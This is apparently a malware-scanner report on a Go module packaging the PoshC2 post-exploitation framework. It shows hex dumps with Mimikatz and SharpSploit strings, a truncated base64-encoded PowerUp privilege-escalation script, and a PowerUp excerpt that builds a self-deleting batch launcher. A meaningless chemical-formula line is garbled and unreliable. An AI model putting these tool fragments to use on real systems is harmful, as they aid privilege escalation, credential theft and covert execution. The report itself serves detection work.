Hostile ^93% go Download

github.com/nettitude/poshc2 v7.0.3+incompatible

Post-exploitation C2 framework

Empire PowerUp service abuse helpersMimikatz reads process memory for LSA credentials

SHA-256e4d671e24113f6639c88cdeed0d22419c6e097602b90071b0d1137d3c637f98a

URLhttps://proxy.golang.org/github.com/nettitude/poshc2/@v/v7.0.3+incompatible.zip

MaleculeK₅(Mc₇Te₁₂AmLi₇Lu₂)O₁₄(As₃₆C₃₇Ca₁₃Er₃₅P₁₆Pr₈S₈Al₇Co₈Dy₁₇Eu₅I₁₄La₁₀Xe₁₁)H₁₁(Cr₂₂Db₅₃F₅₃Os₉₁Po₆₆Cm₇₅Ds₄Hf₈Mg₉Ti₃U₉)Md₉(Bi₂₄Bk₇He₂InPa₈Pt₂Si₃)Th₁₀

Evidence

CreateInstance member-name token SharpSploit.dll · 0x1ccd0–0x1ceb0

0x1ccd06963650044656c657465536572766963ice.DeleteServic
0x1cce0650053656375726974795175616c6974e.SecurityQualit
0x1ccf0794f6653657276696365006853657276yOfService.hServ
0x1cd00696365004f70656e5365727669636500ice.OpenService.
0x1cd1053746f70536572766963650047657453StopService.GetS
0x1cd2065727669636500537461727453657276ervice.StartServ
0x1cd3069636500437265617465496e7374616eice.CreateInstan
0x1cd40636500546f6b656e53657373696f6e52ce.TokenSessionR
0x1cd5065666572656e6365006765745f496465eference.get_Ide
0x1cd606e746974795265666572656e63650073ntityReference.s
0x1cd7065745f4964656e746974795265666572et_IdentityRefer
0x1cd80656e636500536861727053706c6f6974ence.SharpSploit
0x1cd902e50657273697374656e636500496e73.Persistence.Ins
0x1cda074616c6c574d4950657273697374656etallWMIPersisten
0x1cdb0636500546f6b656e536f757263650073ce.TokenSource.s
0x1cdc06f7572636500446976696465004f656dource.Divide.Oem
0x1cdd074696c646500426173654f66436f6465tilde.BaseOfCode
0x1cde00053697a654f66436f646500506f7765.SizeOfCode.Powe
0x1cdf0725368656c6c436f6465006e436f6465rShellCode.nCode
0x1ce00006765745f537461747573436f646500.get_StatusCode.
0x1ce1048747470537461747573436f6465004bHttpStatusCode.K
0x1ce206579436f64650048616e6a614d6f6465eyCode.HanjaMode
0x1ce30004a756e6a614d6f6465004b616e614d.JunjaMode.KanaM
0x1ce406f646500496e76616c6964526561644dode.InvalidReadM
0x1ce506f64650050726f63657373416666696eode.ProcessAffin
0x1ce606974795570646174654d6f6465005072ityUpdateMode.Pr
0x1ce706f6365737348616e646c65436865636bocessHandleCheck
0x1ce80696e674d6f6465004b616e6a694d6f64ingMode.KanjiMod
0x1ce90650046696e616c4d6f64650048616e67e.FinalMode.Hang
0x1cea075656c4d6f64650048616e67756c4d6fuelMode.HangulMo
0x1ceb06465                            de              

References ReadProcessMemory process read API embedded:pe@0x2b878 · 0x91fc0–0x922b0

⋯3 more rows
0x91ff0bad912cf031887709b3adc52e852b2e5.......p.:.R.R..
0x920004efb17072fa64dbee1d7ab0a4fed628cN.../.M.....O.b.
0x920107becb9ce214066d4008315a1e675e3cc{[email protected]..
0x92020f2292f848100000000e4177764fbf5d3.)/........wd...
0x92030713d76a0e92f147d664cf4332ef1b8f3q=v../.}fL.3....
0x920408e0d0f1369944c73a80f26604013013c....i.Ls..&`@..<
0x920500a8871cc212da537efc9da8ab431bb42..q.!-.7.....1.B
0x92060414cf9d66c058bc8b80105e27ced9752AL..l.......|..R
0x92070c461c362aad8da87deea33b86168f094.a.b......3.ah..
0x92080bd9acc136ad5c18d2d01000000001013....j...-.......
0x92090e8367ac69e2916f40a3f49f3cfa6a577.6z..)...?I....w
0x920a0a323bea4825ba2cc2f7210357f449dbe.#...[../r.5.D..
0x920b0b813c2a84e324cc9ad339ebcbafeac76....N2L..3.....v
0x920c032214c2e32cd133eb491fe7036d95cbb2!L.2..>...p6.\.
0x920d085971442fd1acc46f8dd38e6d2870769...B...F..8....i
0x920e017d1021afef1b53eaeabb9c36fee081c.......>....o...
0x920f0be02000000000040aac24081d977f82c.......@[email protected].,
0x921003dd7e171982fe7d509635172dd19a8af=..q./...cQr....
0x92110465a2ad6cedc022afedd46ce8d241327FZ*....*..F..$.'
0x92120add223b719bb04c42bcc06b7caebb147..#.....+......G
0x92130dc4b099dca02dcc58e51e6318056c38e.K.......Q.1.V..
0x92140a8582f34421e048b14e5bffe13fcff05.X/4B...........
0x921500f796367fd36d5667650e1b962060000.ycg.6.fvP..b...
0x921600061b0671a0a01d2c0e105d03b7312db.a.g........;s..
0x921703f2e9fa3e29db261e2dc632abc042694?......a..c*..&.
0x921809bd570619625e3c2b9750b14212c1d1f..pa.%...u..!,..
0x92190606a13b8a23bd289737df160dfd7cac6`j...;..s}.`....
0x921a02bdf69063787b824ed069366eb6e4919+.i.7..$...f.nI.
0x921b06fdb8d937582745e369a6ec531b79036o...u.t^6.n.1..6
0x921c0c54228c88e79ae24de0e000000006441.B(..y.$......dA
0x921d0c19a88d5992c43d91ae780a22e3df66b.....,C......=.k
0x921e03d79498243a9e7794ae6fd229a70d6e0=yI.C..yJ..".p..
0x921f0efcfca05d7a48dbd6c0064e3b3dc4ea5........l.d...N.
0x922006e08a8a19e458f74c8548efc57c674ccn....E.t.T..W.t.
0x92210d4c3b8426e63d957cc5bb535e9fe136c...Bnc.W.[.5...l
0x922206151c41adbba95b59d4ef1a150e7f9dcaQ.......N..P...
0x92230717f63072b9f2fde9d22000000000010q.c.+./.."......
0x9224089bd5e3c563777e338a3cb3d4f9ed281..^<V7w.8..=O...
0x922502c9ef7a474c7f9c397e71c6a38e45fac,...t......j8._.
0x922609c8bf307faec88d5acc15a3ececcaf85..........Z>....
0x92270703f1f9dd36d2de80c187d176f94695ep?...m-...}.o.i^
0x92280e12c8e644839a19511e00f34583c17b4.,.dH9.....4X<..
0x9229094f64827bd57267c2eda8b75a090803b..H'.W&|...u...;
0x922a013b6db2d9048cf6d7e04e42499500000...-.H.m~..$.P..
0x922b000000002020000030500000409000104................

ERROR kuhl Mimikatz error signature embedded:pe@0x2b878 · 0xae598–0xae888

⋯5 more rows
0xae5e820002a002a002a002f000a0000000000 .*.*.*./.......
0xae5f84500520052004f00520020006d006900E.R.R.O.R. .m.i.
0xae6086d0069006b00610074007a005f006900m.i.k.a.t.z._.i.
0xae6186e00690074004f00720043006c006500n.i.t.O.r.C.l.e.
0xae62861006e0020003b00200043006f004900a.n. .;. .C.o.I.
0xae6386e0069007400690061006c0069007a00n.i.t.i.a.l.i.z.
⋯7 more rows
0xae6b83000380078000a00000000003a003a000.8.x.......:.:.
0xae6c800000000000000004500520052004f00........E.R.R.O.
0xae6d8520020006d0069006d0069006b006100R. .m.i.m.i.k.a.
0xae6e874007a005f0064006f004c006f006300t.z._.d.o.L.o.c.
0xae6f861006c0020003b002000220025007300a.l. .;. .".%.s.
0xae708220020006d006f00640075006c006500". .m.o.d.u.l.e.
⋯3 more rows
0xae7482000250073000000200020005b002500 .%.s... . .[.%.
0xae75873005d00000000004500520052004f00s.].....E.R.R.O.
0xae768520020006d0069006d0069006b006100R. .m.i.m.i.k.a.
0xae77874007a005f0064006f004c006f006300t.z._.d.o.L.o.c.
0xae78861006c0020003b002000220025007300a.l. .;. .".%.s.
0xae7982200200063006f006d006d0061006e00". .c.o.m.m.a.n.
0xae7a8640020006f0066002000220025007300d. .o.f. .".%.s.
⋯14 more rows

PowerUp service-abuse helper functions Invoke-Pbind.ps1 · lines 881–884

881:16… ase64'd modules into the implant, will execute if auto run configured. Use pbind-command to run functions loaded in memory.
882#>
883
884$powerup = "PCMKICAgIFBvd2VyVXAgYWltcyB0byBiZSBhIGNsZWFyaW5naG91c2Ugb2YgY29tbW9uIFdpbmRvd3MgcHJpdmlsZWdlIGVzY2FsYXRpb24KICAgIHZlY3RvcnMgdGhhdCByZWx5IG9uIG1pc2NvbmZpZ3VyYXRpb25zLiBTZWUgUkVBRE1FLm1kIGZvciBtb3JlIGluZm9ybWF0aW9uLgoKICAgIEF1dGhvcjogQGhhcm1qMHkKICAgIExpY2Vuc2U6IEJTRCAzLUNsYXVzZQogICAgUmVxdWlyZWQgRGVwZW5kZW5jaWVzOiBOb25lCiAgICBPcHRpb25hbCBEZXBlbmRlbmNpZXM6IE5vbmUKIz4KCgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwojCiMgSGVscGVycwojCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCgpmdW5jdGlvbiBHZXQtTW9kaWZpYWJsZUZpbGUgewo8IwogICAgLlNZTk9QU0lTCgogICAgICAgIEhlbHBlciB0byByZXR1cm4gYW55IG1vZGlmaWFibGUgZmlsZSB0aGF0J3MgYSBwYXJ0IG9mIGEgcGFzc2VkIHN0cmluZy4KICAgICAgICAKICAgIC5FWEFNUExFCgogICAgICAgIFBTIEM6XD4gJyJDOlxUZW1wXGJsYWguYmF0IiAtZiAiQzpcVGVtcFxjb25maWcuaW5pIicgfCBHZXQtTW9kaWZpYWJsZUZpbGUKCiAgICAgICAgUmV0dXJuIHRoZSBwYXRocyAiQzpcVGVtcFxibGFoLmJhdCIgb3IgIkM6XFRlbXBcY29uZmlnLmluaSIgaWYgdGhleSBhcmUKICAgICAgICBtb2RpZmFibGUgYnkgdGhlIGN1cnJlbnQgdXNlciBjb250ZXh0LgojPgoKICAgIFtDbWRsZXRCaW5kaW5nKCldCiAgICBQYXJhbSgKICAgICAgICBbUGFyYW1ldGVyKFZhbHVlRnJvbVBpcGVsaW5lPSRUcnVlLCBNYW5kYXRvcnkgPSAkVHJ1ZSldCiAgICAgICAgW1N0cmluZ10KICAgICAgICAkUGF0aAogICAgKQoKICAgIGJlZ2luIHsKICAgICAgICAjIGZhbHNlIHBvc2l0aXZ …

Runs file deletion through cmd.exe PowerUp.ps1 · lines 3374–3387

3374:48… ytes -SearchString 'debug.bat' -ReplaceString $TargetBatPath
3375
3376    # build the launcher .bat
3377    if (Test-Path $TargetBatPath) { Remove-Item -Force $TargetBatPath }
3378
3379    "@echo off" | Out-File -Encoding ASCII -Append $TargetBatPath
3380    "start /b $BatCommand" | Out-File -Encoding ASCII -Append $TargetBatPath
3381    'start /b "" cmd /c del "%~f0"&exit /b' | Out-File -Encoding ASCII -Append $TargetBatPath
3382
3383    Write-Verbose ".bat launcher written to: $TargetBatPath"
⋯4 lines

Showing the top 5 files — 6 more files (279 regions) not shown.

No evidence locations were recorded for this file. Raw result